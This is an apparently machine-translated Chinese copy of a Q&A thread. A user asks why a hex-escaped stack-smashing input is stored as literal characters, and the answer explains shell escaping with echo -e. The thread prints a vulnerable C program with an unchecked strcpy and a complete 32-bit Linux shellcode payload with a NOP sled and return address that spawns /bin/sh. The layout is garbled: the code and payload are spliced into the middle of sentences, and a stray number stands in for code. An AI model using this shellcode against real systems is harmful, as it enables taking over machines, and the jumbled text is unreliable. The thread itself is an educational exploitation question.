NOP使用\ x表示法在内存中存储指令

时间:2018-05-31 14:52:31

标签: memory gcc c hex

我试图在输入中添加一些shellcode来演示缓冲区溢出导致控制劫持。 这是程序;

016

根据我的理解,当我将int foo(char *mainbuff) { char foobuff[128]; strcpy(foobuff, mainbuff); printf("foobuff new value is %s\n", foobuff); return 0; } int main() { char mainbuff[256]; printf("Please enter value of mainbuff\n\n"); scanf("%s", mainbuff); foo(mainbuff); printf("Program is exitting normally!!\n\n\n"); return 0; } 这个输入提供给我的c程序时,它应该将它作为单个字节存储在内存中。所以当我用shellcode和地址连接nops时,我的输入似乎是

\x90

它应该作为单个字节存储在数组中,但编译器添加另一个\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x10\xd2\xff\xff不要转义它们并将它们存储在堆栈内存中\,它是0x3039785c的十六进制形式。我存储此字符串的文件也不完全是我存储的字节大小。我在64位机器上,但我的程序是在gcc中使用-m32选项编译的。

所以这里发生了什么?

1 个答案:

答案 0 :(得分:1)

  

我应该将\ x90这个输入提供给我的c程序,它应该把它作为单个字节存储在内存中。

您似乎直接输入\x90作为输入。这会导致程序(实际上是stdin)将其视为4个连续字符0x5c, 0x78, 0x39, 0x30,这会将字符串添加到您提及的0x3039785c中。

您可以尝试echo -e "\x90\x90..." | ./a.out通过转义将shellcode传输到stdin。